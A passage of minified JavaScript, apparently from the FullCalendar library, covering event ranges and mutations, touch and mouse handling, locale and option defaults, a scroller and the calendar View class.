n,r=[];for(n=0;n<e.length;n++)r.push.apply(r,e[n].buildInstances(t));return r},t.eventInstanceToEventRange=function(e){return new r.default(e.dateProfile.unzonedRange,e.def,e)},t.eventRangeToEventFootprint=function(e){return new i.default(new s.default(e.unzonedRange,e.eventDef.isAllDay()),e.eventDef,e.eventInstance)},t.eventInstanceToUnzonedRange=function(e){return e.dateProfile.unzonedRange},t.eventFootprintToComponentFootprint=function(e){return e.componentFootprint}},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(5),i=n(19),s=n(50),a=function(){function e(e){this.eventInstances=e||[]}return e.prototype.getAllEventRanges=function(e){return e?this.sliceNormalRenderRanges(e):this.eventInstances.map(i.eventInstanceToEventRange)},e.prototype.sliceRenderRanges=function(e){return this.isInverse()?this.sliceInverseRenderRanges(e):this.sliceNormalRenderRanges(e)},e.prototype.sliceNormalRenderRanges=function(e){var t,n,r,i=this.eventInstances,a=[];for(t=0;t<i.length;t++)(r=(n=i[t]).dateProfile.unzonedRange.intersect(e))&&a.push(new s.default(r,n.def,n));return a},e.prototype.sliceInverseRenderRanges=function(e){var t=this.eventInstances.map(i.eventInstanceToUnzonedRange),n=this.getEventDef();return(t=r.default.invertRanges(t,e)).map((function(e){return new s.default(e,n)}))},e.prototype.isInverse=function(){return this.getEventDef().hasInverseRendering()},e.prototype.getEventDef=function(){return this.explicitEventDef||this.eventInstances[0].def},e}();t.default=a},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(3),i={construct:function(e){var t=r.Deferred(),n=t.promise();return"function"==typeof e&&e((function(e){t.resolve(e),s(n,e)}),(function(){t.reject(),a(n)})),n},resolve:function(e){var t=r.Deferred().resolve(e).promise();return s(t,e),t},reject:function(){var e=r.Deferred().reject().promise();return a(e),e}};function s(e,t){e.then=function(n){return"function"==typeof n?i.resolve(n(t)):e}}function a(e){e.then=function(t,n){return"function"==typeof n&&n(),e}}t.default=i},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(3),i=function(){function e(e){this.optionsManager=e,this.processIconOverride()}return e.prototype.processIconOverride=function(){this.iconOverrideOption&&this.setIconOverride(this.optionsManager.get(this.iconOverrideOption))},e.prototype.setIconOverride=function(e){var t,n;if(r.isPlainObject(e)){for(n in t=r.extend({},this.iconClasses),e)t[n]=this.applyIconOverridePrefix(e[n]);this.iconClasses=t}else!1===e&&(this.iconClasses={})},e.prototype.applyIconOverridePrefix=function(e){var t=this.iconOverridePrefix;return t&&0!==e.indexOf(t)&&(e=t+e),e},e.prototype.getClass=function(e){return this.classes[e]||""},e.prototype.getIconClass=function(e){var t=this.iconClasses[e];return t?this.baseIconClass+" "+t:""},e.prototype.getCustomButtonIconClass=function(e){var t;return this.iconOverrideCustomButtonOption&&(t=e[this.iconOverrideCustomButtonOption])?this.baseIconClass+" "+this.applyIconOverridePrefix(t):""},e}();t.default=i,i.prototype.classes={},i.prototype.iconClasses={},i.prototype.baseIconClass="",i.prototype.iconOverridePrefix=""},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(3),i=n(18),s=n(13),a=n(7);i.touchMouseIgnoreWait=500;var o=null,d=0,u=function(){function e(){this.isTouching=!1,this.mouseIgnoreDepth=0}return e.get=function(){return o||(o=new e).bind(),o},e.needed=function(){e.get(),d++},e.unneeded=function(){--d||(o.unbind(),o=null)},e.prototype.bind=function(){var e=this;this.listenTo(r(document),{touchstart:this.handleTouchStart,touchcancel:this.handleTouchCancel,touchend:this.handleTouchEnd,mousedown:this.handleMouseDown,mousemove:this.handleMouseMove,mouseup:this.handleMouseUp,click:this.handleClick,selectstart:this.handleSelectStart,contextmenu:this.handleContextMenu}),window.addEventListener("touchmove",this.handleTouchMoveProxy=function(t){e.handleTouchMove(r.Event(t))},{passive:!1}),window.addEventListener("scroll",this.handleScrollProxy=function(t){e.handleScroll(r.Event(t))},!0)},e.prototype.unbind=function(){this.stopListeningTo(r(document)),window.removeEventListener("touchmove",this.handleTouchMoveProxy,{passive:!1}),window.removeEventListener("scroll",this.handleScrollProxy,!0)},e.prototype.handleTouchStart=function(e){this.stopTouch(e,!0),this.isTouching=!0,this.trigger("touchstart",e)},e.prototype.handleTouchMove=function(e){this.isTouching&&this.trigger("touchmove",e)},e.prototype.handleTouchCancel=function(e){this.isTouching&&(this.trigger("touchcancel",e),this.stopTouch(e))},e.prototype.handleTouchEnd=function(e){this.stopTouch(e)},e.prototype.handleMouseDown=function(e){this.shouldIgnoreMouse()||this.trigger("mousedown",e)},e.prototype.handleMouseMove=function(e){this.shouldIgnoreMouse()||this.trigger("mousemove",e)},e.prototype.handleMouseUp=function(e){this.shouldIgnoreMouse()||this.trigger("mouseup",e)},e.prototype.handleClick=function(e){this.shouldIgnoreMouse()||this.trigger("click",e)},e.prototype.handleSelectStart=function(e){this.trigger("selectstart",e)},e.prototype.handleContextMenu=function(e){this.trigger("contextmenu",e)},e.prototype.handleScroll=function(e){this.trigger("scroll",e)},e.prototype.stopTouch=function(e,t){void 0===t&&(t=!1),this.isTouching&&(this.isTouching=!1,this.trigger("touchend",e),t||this.startTouchMouseIgnore())},e.prototype.startTouchMouseIgnore=function(){var e=this,t=i.touchMouseIgnoreWait;t&&(this.mouseIgnoreDepth++,setTimeout((function(){e.mouseIgnoreDepth--}),t))},e.prototype.shouldIgnoreMouse=function(){return this.isTouching||Boolean(this.mouseIgnoreDepth)},e}();t.default=u,a.default.mixInto(u),s.default.mixInto(u)},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(18);t.viewHash={},r.views=t.viewHash,t.defineView=function(e,n){t.viewHash[e]=n},t.getViewConfig=function(e){return t.viewHash[e]}},,,,,,,,function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(3),i=n(0),s=n(18),a=n(33),o=n(4);t.localeOptionHash={},s.locales=t.localeOptionHash;var d={buttonText:function(e){return{prev:o.stripHtmlEntities(e.prevText),next:o.stripHtmlEntities(e.nextText),today:o.stripHtmlEntities(e.currentText)}},monthYearFormat:function(e){return e.showMonthAfterYear?"YYYY["+e.yearSuffix+"] MMMM":"MMMM YYYY["+e.yearSuffix+"]"}},u={dayOfMonthFormat:function(e,t){var n=e.longDateFormat("l");return n=n.replace(/^Y+[^\w\s]*|[^\w\s]*Y+$/g,""),t.isRTL?n+=" ddd":n="ddd "+n,n},mediumTimeFormat:function(e){return e.longDateFormat("LT").replace(/\s*a$/i,"a")},smallTimeFormat:function(e){return e.longDateFormat("LT").replace(":mm","(:mm)").replace(/(\Wmm)$/,"($1)").replace(/\s*a$/i,"a")},extraSmallTimeFormat:function(e){return e.longDateFormat("LT").replace(":mm","(:mm)").replace(/(\Wmm)$/,"($1)").replace(/\s*a$/i,"t")},hourFormat:function(e){return e.longDateFormat("LT").replace(":mm","").replace(/(\Wmm)$/,"").replace(/\s*a$/i,"a")},noMeridiemTimeFormat:function(e){return e.longDateFormat("LT").replace(/\s*a$/i,"")}},l={smallDayDateFormat:function(e){return e.isRTL?"D dd":"dd D"},weekFormat:function(e){return e.isRTL?"w[ "+e.weekNumberTitle+"]":"["+e.weekNumberTitle+" ]w"},smallWeekFormat:function(e){return e.isRTL?"w["+e.weekNumberTitle+"]":"["+e.weekNumberTitle+"]w"}};function c(e,n){var i,s;i=t.localeOptionHash[e]||(t.localeOptionHash[e]={}),n&&(i=t.localeOptionHash[e]=a.mergeOptions([i,n])),s=h(e),r.each(u,(function(e,t){null==i[e]&&(i[e]=t(s,i))})),a.globalDefaults.locale=e}function h(e){return i.localeData(e)||i.localeData("en")}t.populateInstanceComputableOptions=function(e){r.each(l,(function(t,n){null==e[t]&&(e[t]=n(e))}))},t.datepickerLocale=function(e,n,i){var s=t.localeOptionHash[e]||(t.localeOptionHash[e]={});s.isRTL=i.isRTL,s.weekNumberTitle=i.weekHeader,r.each(d,(function(e,t){s[e]=t(i)}));var a=r.datepicker;a&&(a.regional[n]=a.regional[e]=i,a.regional.en=a.regional[""],a.setDefaults(i))},t.locale=c,t.getMomentLocaleData=h,c("en",a.englishDefaults)},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(4);t.globalDefaults={titleRangeSeparator:" – ",monthYearFormat:"MMMM YYYY",defaultTimedEventDuration:"02:00:00",defaultAllDayEventDuration:{days:1},forceEventDuration:!1,nextDayThreshold:"09:00:00",columnHeader:!0,defaultView:"month",aspectRatio:1.35,header:{left:"title",center:"",right:"today prev,next"},weekends:!0,weekNumbers:!1,weekNumberTitle:"W",weekNumberCalculation:"local",scrollTime:"06:00:00",minTime:"00:00:00",maxTime:"24:00:00",showNonCurrentDates:!0,lazyFetching:!0,startParam:"start",endParam:"end",timezoneParam:"timezone",timezone:!1,locale:null,isRTL:!1,buttonText:{prev:"prev",next:"next",prevYear:"prev year",nextYear:"next year",year:"year",today:"today",month:"month",week:"week",day:"day"},allDayText:"all-day",agendaEventMinHeight:0,theme:!1,dragOpacity:.75,dragRevertDuration:500,dragScroll:!0,unselectAuto:!0,dropAccept:"*",eventOrder:"title",eventLimit:!1,eventLimitText:"more",eventLimitClick:"popover",dayPopoverFormat:"LL",handleWindowResize:!0,windowResizeDelay:100,longPressDelay:1e3},t.englishDefaults={dayPopoverFormat:"dddd, MMMM D"},t.rtlDefaults={header:{left:"next,prev today",center:"",right:"title"},buttonIcons:{prev:"right-single-arrow",next:"left-single-arrow",prevYear:"right-double-arrow",nextYear:"left-double-arrow"},themeButtonIcons:{prev:"circle-triangle-e",next:"circle-triangle-w",nextYear:"seek-prev",prevYear:"seek-next"}};var i=["header","footer","buttonText","buttonIcons","themeButtonIcons"];t.mergeOptions=function(e){return r.mergeProps(e,i)}},function(e,t){Object.defineProperty(t,"__esModule",{value:!0});var n=function(){function e(e,t,n){this.componentFootprint=e,this.eventDef=t,n&&(this.eventInstance=n)}return e.prototype.getEventLegacy=function(){return(this.eventInstance||this.eventDef).toLegacy()},e}();t.default=n},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),i=n(4),s=function(){function e(){}return e.extend=function(e){var t=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t}(this);return i.copyOwnProps(e,t.prototype),t},e.mixin=function(e){i.copyOwnProps(e,this.prototype)},e}();t.default=s},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(0),i=n(4),s=n(9),a=n(54);t.default={parse:function(e,t){return i.isTimeString(e.start)||r.isDuration(e.start)||i.isTimeString(e.end)||r.isDuration(e.end)?a.default.parse(e,t):s.default.parse(e,t)}}},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(3),i=n(52),s=function(){function e(e){this.source=e,this.className=[],this.miscProps={}}return e.parse=function(e,t){var n=new this(t);return!!n.applyProps(e)&&n},e.normalizeId=function(e){return String(e)},e.generateId=function(){return"_fc"+e.uuid++},e.prototype.clone=function(){var t=new this.constructor(this.source);return t.id=this.id,t.rawId=this.rawId,t.uid=this.uid,e.copyVerbatimStandardProps(this,t),t.className=this.className.slice(),t.miscProps=r.extend({},this.miscProps),t},e.prototype.hasInverseRendering=function(){return"inverse-background"===this.getRendering()},e.prototype.hasBgRendering=function(){var e=this.getRendering();return"inverse-background"===e||"background"===e},e.prototype.getRendering=function(){return null!=this.rendering?this.rendering:this.source.rendering},e.prototype.getConstraint=function(){return null!=this.constraint?this.constraint:null!=this.source.constraint?this.source.constraint:this.source.calendar.opt("eventConstraint")},e.prototype.getOverlap=function(){return null!=this.overlap?this.overlap:null!=this.source.overlap?this.source.overlap:this.source.calendar.opt("eventOverlap")},e.prototype.isStartExplicitlyEditable=function(){return null!=this.startEditable?this.startEditable:this.source.startEditable},e.prototype.isDurationExplicitlyEditable=function(){return null!=this.durationEditable?this.durationEditable:this.source.durationEditable},e.prototype.isExplicitlyEditable=function(){return null!=this.editable?this.editable:this.source.editable},e.prototype.toLegacy=function(){var t=r.extend({},this.miscProps);return t._id=this.uid,t.source=this.source,t.className=this.className.slice(),t.allDay=this.isAllDay(),null!=this.rawId&&(t.id=this.rawId),e.copyVerbatimStandardProps(this,t),t},e.prototype.applyManualStandardProps=function(t){return null!=t.id?this.id=e.normalizeId(this.rawId=t.id):this.id=e.generateId(),null!=t._id?this.uid=String(t._id):this.uid=e.generateId(),r.isArray(t.className)&&(this.className=t.className),"string"==typeof t.className&&(this.className=t.className.split(/\s+/)),!0},e.prototype.applyMiscProps=function(e){r.extend(this.miscProps,e)},e.uuid=0,e.defineStandardProps=i.default.defineStandardProps,e.copyVerbatimStandardProps=i.default.copyVerbatimStandardProps,e}();t.default=s,i.default.mixInto(s),s.defineStandardProps({_id:!1,id:!1,className:!1,source:!1,title:!0,url:!0,rendering:!0,constraint:!0,overlap:!0,editable:!0,startEditable:!0,durationEditable:!0,color:!0,backgroundColor:!0,borderColor:!0,textColor:!0})},function(e,t){Object.defineProperty(t,"__esModule",{value:!0}),t.default={sourceClasses:[],registerClass:function(e){this.sourceClasses.unshift(e)},parse:function(e,t){var n,r,i=this.sourceClasses;for(n=0;n<i.length;n++)if(r=i[n].parse(e,t))return r}}},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(4),i=n(16),s=n(37),a=n(40),o=n(9),d=function(){function e(){}return e.createFromRawProps=function(t,n,o){var d,u,l,c,h=t.def,m={},p={},f={},_={},y=null,g=null;for(d in n)i.default.isStandardProp(d)?m[d]=n[d]:h.isStandardProp(d)?p[d]=n[d]:h.miscProps[d]!==n[d]&&(f[d]=n[d]);return(u=i.default.parse(m,h.source))&&(l=a.default.createFromDiff(t.dateProfile,u,o)),p.id!==h.id&&(y=p.id),r.isArraysEqual(p.className,h.className)||(g=p.className),s.default.copyVerbatimStandardProps(p,_),(c=new e).eventDefId=y,c.className=g,c.verbatimStandardProps=_,c.miscProps=f,l&&(c.dateMutation=l),c},e.prototype.mutateSingle=function(e){var t;return this.dateMutation&&(t=e.dateProfile,e.dateProfile=this.dateMutation.buildNewDateProfile(t,e.source.calendar)),null!=this.eventDefId&&(e.id=s.default.normalizeId(e.rawId=this.eventDefId)),this.className&&(e.className=this.className),this.verbatimStandardProps&&o.default.copyVerbatimStandardProps(this.verbatimStandardProps,e),this.miscProps&&e.applyMiscProps(this.miscProps),t?function(){e.dateProfile=t}:function(){}},e.prototype.setDateMutation=function(e){e&&!e.isEmpty()?this.dateMutation=e:this.dateMutation=null},e.prototype.isEmpty=function(){return!this.dateMutation},e}();t.default=d},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(4),i=n(16),s=function(){function e(){this.clearEnd=!1,this.forceTimed=!1,this.forceAllDay=!1}return e.createFromDiff=function(t,n,i){var s,a,o,d=t.end&&!n.end,u=t.isAllDay()&&!n.isAllDay(),l=!t.isAllDay()&&n.isAllDay();function c(e,t){return i?r.diffByUnit(e,t,i):n.isAllDay()?r.diffDay(e,t):r.diffDayTime(e,t)}return s=c(n.start,t.start),n.end&&(a=c(n.unzonedRange.getEnd(),t.unzonedRange.getEnd()).subtract(s)),(o=new e).clearEnd=d,o.forceTimed=u,o.forceAllDay=l,o.setDateDelta(s),o.setEndDelta(a),o},e.prototype.buildNewDateProfile=function(e,t){var n=e.start.clone(),r=null,s=!1;return e.end&&!this.clearEnd?r=e.end.clone():this.endDelta&&!r&&(r=t.getDefaultEventEnd(e.isAllDay(),n)),this.forceTimed?(s=!0,n.hasTime()||n.time(0),r&&!r.hasTime()&&r.time(0)):this.forceAllDay&&(n.hasTime()&&n.stripTime(),r&&r.hasTime()&&r.stripTime()),this.dateDelta&&(s=!0,n.add(this.dateDelta),r&&r.add(this.dateDelta)),this.endDelta&&(s=!0,r.add(this.endDelta)),this.startDelta&&(s=!0,n.add(this.startDelta)),s&&(n=t.applyTimezone(n),r&&(r=t.applyTimezone(r))),!r&&t.opt("forceEventDuration")&&(r=t.getDefaultEventEnd(e.isAllDay(),n)),new i.default(n,r,t)},e.prototype.setDateDelta=function(e){e&&e.valueOf()?this.dateDelta=e:this.dateDelta=null},e.prototype.setStartDelta=function(e){e&&e.valueOf()?this.startDelta=e:this.startDelta=null},e.prototype.setEndDelta=function(e){e&&e.valueOf()?this.endDelta=e:this.endDelta=null},e.prototype.isEmpty=function(){return!(this.clearEnd||this.forceTimed||this.forceAllDay||this.dateDelta||this.startDelta||this.endDelta)},e}();t.default=s},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),i=n(3),s=n(4),a=function(e){function t(t){var n=e.call(this)||this;return t=t||{},n.overflowX=t.overflowX||t.overflow||"auto",n.overflowY=t.overflowY||t.overflow||"auto",n}return r.__extends(t,e),t.prototype.render=function(){this.el=this.renderEl(),this.applyOverflow()},t.prototype.renderEl=function(){return this.scrollEl=i('<div class="fc-scroller"></div>')},t.prototype.clear=function(){this.setHeight("auto"),this.applyOverflow()},t.prototype.destroy=function(){this.el.remove()},t.prototype.applyOverflow=function(){this.scrollEl.css({"overflow-x":this.overflowX,"overflow-y":this.overflowY})},t.prototype.lockOverflow=function(e){var t=this.overflowX,n=this.overflowY;e=e||this.getScrollbarWidths(),"auto"===t&&(t=e.top||e.bottom||this.scrollEl[0].scrollWidth-1>this.scrollEl[0].clientWidth?"scroll":"hidden"),"auto"===n&&(n=e.left||e.right||this.scrollEl[0].scrollHeight-1>this.scrollEl[0].clientHeight?"scroll":"hidden"),this.scrollEl.css({"overflow-x":t,"overflow-y":n})},t.prototype.setHeight=function(e){this.scrollEl.height(e)},t.prototype.getScrollTop=function(){return this.scrollEl.scrollTop()},t.prototype.setScrollTop=function(e){this.scrollEl.scrollTop(e)},t.prototype.getClientWidth=function(){return this.scrollEl[0].clientWidth},t.prototype.getClientHeight=function(){return this.scrollEl[0].clientHeight},t.prototype.getScrollbarWidths=function(){return s.getScrollbarWidths(this.scrollEl)},t}(n(35).default);t.default=a},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),i=n(3),s=n(4),a=n(231),o=n(23),d=function(e){function t(t,n){var r=e.call(this,t,n)||this;return r.segSelector=".fc-event-container > *",r.dateSelectingClass&&(r.dateClicking=new r.dateClickingClass(r)),r.dateSelectingClass&&(r.dateSelecting=new r.dateSelectingClass(r)),r.eventPointingClass&&(r.eventPointing=new r.eventPointingClass(r)),r.eventDraggingClass&&r.eventPointing&&(r.eventDragging=new r.eventDraggingClass(r,r.eventPointing)),r.eventResizingClass&&r.eventPointing&&(r.eventResizing=new r.eventResizingClass(r,r.eventPointing)),r.externalDroppingClass&&(r.externalDropping=new r.externalDroppingClass(r)),r}return r.__extends(t,e),t.prototype.setElement=function(t){e.prototype.setElement.call(this,t),this.dateClicking&&this.dateClicking.bindToEl(t),this.dateSelecting&&this.dateSelecting.bindToEl(t),this.bindAllSegHandlersToEl(t)},t.prototype.removeElement=function(){this.endInteractions(),e.prototype.removeElement.call(this)},t.prototype.executeEventUnrender=function(){this.endInteractions(),e.prototype.executeEventUnrender.call(this)},t.prototype.bindGlobalHandlers=function(){e.prototype.bindGlobalHandlers.call(this),this.externalDropping&&this.externalDropping.bindToDocument()},t.prototype.unbindGlobalHandlers=function(){e.prototype.unbindGlobalHandlers.call(this),this.externalDropping&&this.externalDropping.unbindFromDocument()},t.prototype.bindDateHandlerToEl=function(e,t,n){var r=this;this.el.on(t,(function(e){if(!i(e.target).is(r.segSelector+":not(.fc-helper),"+r.segSelector+":not(.fc-helper) *,.fc-more,a[data-goto]"))return n.call(r,e)}))},t.prototype.bindAllSegHandlersToEl=function(e){[this.eventPointing,this.eventDragging,this.eventResizing].forEach((function(t){t&&t.bindToEl(e)}))},t.prototype.bindSegHandlerToEl=function(e,t,n){var r=this;e.on(t,this.segSelector,(function(e){var t=i(e.currentTarget);if(!t.is(".fc-helper")){var s=t.data("fc-seg");if(s&&!r.shouldIgnoreEventPointing())return n.call(r,s,e)}}))},t.prototype.shouldIgnoreMouse=function(){return o.default.get().shouldIgnoreMouse()},t.prototype.shouldIgnoreTouch=function(){var e=this._getView();return e.isSelected||e.selectedEvent},t.prototype.shouldIgnoreEventPointing=function(){return this.eventDragging&&this.eventDragging.isDragging||this.eventResizing&&this.eventResizing.isResizing},t.prototype.canStartSelection=function(e,t){return s.getEvIsTouch(t)&&!this.canStartResize(e,t)&&(this.isEventDefDraggable(e.footprint.eventDef)||this.isEventDefResizable(e.footprint.eventDef))},t.prototype.canStartDrag=function(e,t){return!this.canStartResize(e,t)&&this.isEventDefDraggable(e.footprint.eventDef)},t.prototype.canStartResize=function(e,t){var n=this._getView(),r=e.footprint.eventDef;return(!s.getEvIsTouch(t)||n.isEventDefSelected(r))&&this.isEventDefResizable(r)&&i(t.target).is(".fc-resizer")},t.prototype.endInteractions=function(){[this.dateClicking,this.dateSelecting,this.eventPointing,this.eventDragging,this.eventResizing].forEach((function(e){e&&e.end()}))},t.prototype.isEventDefDraggable=function(e){return this.isEventDefStartEditable(e)},t.prototype.isEventDefStartEditable=function(e){var t=e.isStartExplicitlyEditable();return null==t&&null==(t=this.opt("eventStartEditable"))&&(t=this.isEventDefGenerallyEditable(e)),t},t.prototype.isEventDefGenerallyEditable=function(e){var t=e.isExplicitlyEditable();return null==t&&(t=this.opt("editable")),t},t.prototype.isEventDefResizableFromStart=function(e){return this.opt("eventResizableFromStart")&&this.isEventDefResizable(e)},t.prototype.isEventDefResizableFromEnd=function(e){return this.isEventDefResizable(e)},t.prototype.isEventDefResizable=function(e){var t=e.isDurationExplicitlyEditable();return null==t&&null==(t=this.opt("eventDurationEditable"))&&(t=this.isEventDefGenerallyEditable(e)),t},t.prototype.diffDates=function(e,t){return this.largeUnit?s.diffByUnit(e,t,this.largeUnit):s.diffDayTime(e,t)},t.prototype.isEventInstanceGroupAllowed=function(e){var t,n=this._getView(),r=this.dateProfile,i=this.eventRangesToEventFootprints(e.getAllEventRanges());for(t=0;t<i.length;t++)if(!r.validUnzonedRange.containsRange(i[t].componentFootprint.unzonedRange))return!1;return n.calendar.constraints.isEventInstanceGroupAllowed(e)},t.prototype.isExternalInstanceGroupAllowed=function(e){var t,n=this._getView(),r=this.dateProfile,i=this.eventRangesToEventFootprints(e.getAllEventRanges());for(t=0;t<i.length;t++)if(!r.validUnzonedRange.containsRange(i[t].componentFootprint.unzonedRange))return!1;for(t=0;t<i.length;t++)if(!n.calendar.constraints.isSelectionFootprintAllowed(i[t].componentFootprint))return!1;return!0},t}(a.default);t.default=d},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),i=n(3),s=n(0),a=n(4),o=n(229),d=n(55),u=n(42),l=n(23),c=n(5),h=function(e){function t(t,n){var r=e.call(this,null,n.options)||this;return r.batchRenderDepth=0,r.isSelected=!1,r.calendar=t,r.viewSpec=n,r.type=n.type,r.name=r.type,r.initRenderQueue(),r.initHiddenDays(),r.dateProfileGenerator=new r.dateProfileGeneratorClass(r),r.bindBaseRenderHandlers(),r.eventOrderSpecs=a.parseFieldSpecs(r.opt("eventOrder")),r.initialize&&r.initialize(),r}return r.__extends(t,e),t.prototype._getView=function(){return this},t.prototype.opt=function(e){return this.options[e]},t.prototype.initRenderQueue=function(){this.renderQueue=new o.default({event:this.opt("eventRenderWait")}),this.renderQueue.on("start",this.onRenderQueueStart.bind(this)),this.renderQueue.on("stop",this.onRenderQueueStop.bind(this)),this.on("before:change",this.startBatchRender),this.on("change",this.stopBatchRender)},t.prototype.onRenderQueueStart=function(){this.calendar.freezeContentHeight(),this.addScroll(this.queryScroll())},t.prototype.onRenderQueueStop=function(){this.calendar.updateViewSize()&&this.popScroll(),this.calendar.thawContentHeight()},t.prototype.startBatchRender=function(){this.batchRenderDepth++||this.renderQueue.pause()},t.prototype.stopBatchRender=function(){--this.batchRenderDepth||this.renderQueue.resume()},t.prototype.requestRender=function(e,t,n){this.renderQueue.queue(e,t,n)},t.prototype.whenSizeUpdated=function(e){this.renderQueue.isRunning?this.renderQueue.one("stop",e.bind(this)):e.call(this)},t.prototype.computeTitle=function(e){var t;return t=/^(year|month)$/.test(e.currentRangeUnit)?e.currentUnzonedRange:e.activeUnzonedRange,this.formatRange({start:this.calendar.msToMoment(t.startMs,e.isRangeAllDay),end:this.calendar.msToMoment(t.endMs,e.isRangeAllDay)},e.isRangeAllDay,this.opt("titleFormat")||this.computeTitleFormat(e),this.opt("titleRangeSeparator"))},t.prototype.computeTitleFormat=function(e){var t=e.currentRangeUnit;return"year"===t?"YYYY":"month"===t?this.opt("monthYearFormat"):e.currentUnzonedRange.as("days")>1?"ll":"LL"},t.prototype.setDate=function(e){var t=this.get("dateProfile"),n=this.dateProfileGenerator.build(e,void 0,!0);t&&t.activeUnzonedRange.equals(n.activeUnzonedRange)||this.set("dateProfile",n)},t.prototype.unsetDate=function(){this.unset("dateProfile")},t.prototype.fetchInitialEvents=function(e){var t=this.calendar,n=e.isRangeAllDay&&!this.usesMinMaxTime;return t.requestEvents(t.msToMoment(e.activeUnzonedRange.startMs,n),t.msToMoment(e.activeUnzonedRange.endMs,n))},t.prototype.bindEventChanges=function(){this.listenTo(this.calendar,"eventsReset",this.resetEvents)},t.prototype.unbindEventChanges=function(){this.stopListeningTo(this.calendar,"eventsReset")},t.prototype.setEvents=function(e){this.set("currentEvents",e),this.set("hasEvents",!0)},t.prototype.unsetEvents=function(){this.unset("currentEvents"),this.unset("hasEvents")},t.prototype.resetEvents=function(e){this.startBatchRender(),this.unsetEvents(),this.setEvents(e),this.stopBatchRender()},t.prototype.requestDateRender=function(e){var t=this;this.requestRender((function(){t.executeDateRender(e)}),"date","init")},t.prototype.requestDateUnrender=function(){var e=this;this.requestRender((function(){e.executeDateUnrender()}),"date","destroy")},t.prototype.executeDateRender=function(t){e.prototype.executeDateRender.call(this,t),this.render&&this.render(),this.trigger("datesRendered"),this.addScroll({isDateInit:!0}),this.startNowIndicator()},t.prototype.executeDateUnrender=function(){this.unselect(),this.stopNowIndicator(),this.trigger("before:datesUnrendered"),this.destroy&&this.destroy(),e.prototype.executeDateUnrender.call(this)},t.prototype.bindBaseRenderHandlers=function(){var e=this;this.on("datesRendered",(function(){e.whenSizeUpdated(e.triggerViewRender)})),this.on("before:datesUnrendered",(function(){e.triggerViewDestroy()}))},t.prototype.triggerViewRender=function(){this.publiclyTrigger("viewRender",{context:this,args:[this,this.el]})},t.prototype.triggerViewDestroy=function(){this.publiclyTrigger("viewDestroy",{context:this,args:[this,this.el]})},t.prototype.requestEventsRender=function(e){var t=this;this.requestRender((function(){t.executeEventRender(e),t.whenSizeUpdated(t.triggerAfterEventsRendered)}),"event","init")},t.prototype.requestEventsUnrender=function(){var e=this;this.requestRender((function(){e.triggerBeforeEventsDestroyed(),e.executeEventUnrender()}),"event","destroy")},t.prototype.requestBusinessHoursRender=function(e){var t=this;this.requestRender((function(){t.renderBusinessHours(e)}),"businessHours","init")},t.prototype.requestBusinessHoursUnrender=function(){var e=this;this.requestRender((function(){e.unrenderBusinessHours()}),"businessHours","destroy")},t.prototype.bindGlobalHandlers=function(){e.prototype.bindGlobalHandlers.call(this),this.listenTo(l.default.get(),{touchstart:this.processUnselect,mousedown:this.handleDocumentMousedown})},t.prototype.unbindGlobalHandlers=function(){e.prototype.unbindGlobalHandlers.call(this),this.stopListeningTo(l.default.get())},t.prototype.startNowIndicator=function(){var e,t,n,r=this;this.opt("nowIndicator")&&(e=this.getNowIndicatorUnit())&&(t=a.proxy(this,"updateNowIndicator"),this.initialNowDate=this.calendar.getNow(),this.initialNowQueriedMs=(new Date).valueOf(),n=this.initialNowDate.clone().startOf(e).add(1,e).valueOf()-this.initialNowDate.valueOf(),this.nowIndicatorTimeoutID=setTimeout((function(){r.nowIndicatorTimeoutID=null,t(),n=+s.duration(1,e),n=Math.max(100,n),r.nowIndicatorIntervalID=setInterval(t,n)}),n))},t.prototype.updateNowIndicator=function(){this.isDatesRendered&&this.initialNowDate&&(this.unrenderNowIndicator(),this.renderNowIndicator(this.initialNowDate.clone().add((new Date).valueOf()-this.initialNowQueriedMs)),this.isNowIndicatorRendered=!0)},t.prototype.stopNowIndicator=function(){this.isNowIndicatorRendered&&(this.nowIndicatorTimeoutID&&(clearTimeout(this.nowIndicatorTimeoutID),this.nowIndicatorTimeoutID=null),this.nowIndicatorIntervalID&&(clearInterval(this.nowIndicatorIntervalID),this.nowIndicatorIntervalID=null),this.unrenderNowIndicator(),this.isNowIndicatorRendered=!1)},t.prototype.updateSize=function(t,n,r){this.setHeight?this.setHeight(t,n):e.prototype.updateSize.call(this,t,n,r),this.updateNowIndicator()},t.prototype.addScroll=function(e){var t=this.queuedScroll||(this.queuedScroll={});i.extend(t,e)},t.prototype.popScroll=function(){this.applyQueuedScroll(),this.queuedScroll=null},t.prototype.applyQueuedScroll=function(){this.queuedScroll&&this.applyScroll(this.queuedScroll)},t.prototype.queryScroll=function(){var e={};return this.isDatesRendered&&i.extend(e,this.queryDateScroll()),e},t.prototype.applyScroll=function(e){e.isDateInit&&this.isDatesRendered&&i.extend(e,this.computeInitialDateScroll()),this.isDatesRendered&&this.applyDateScroll(e)},t.prototype.computeInitialDateScroll=function(){return{}},t.prototype.queryDateScroll=function(){return{}},t.prototype.applyDateScroll=function(e){},t.prototype.reportEventDrop=function(e,t,n,r){var 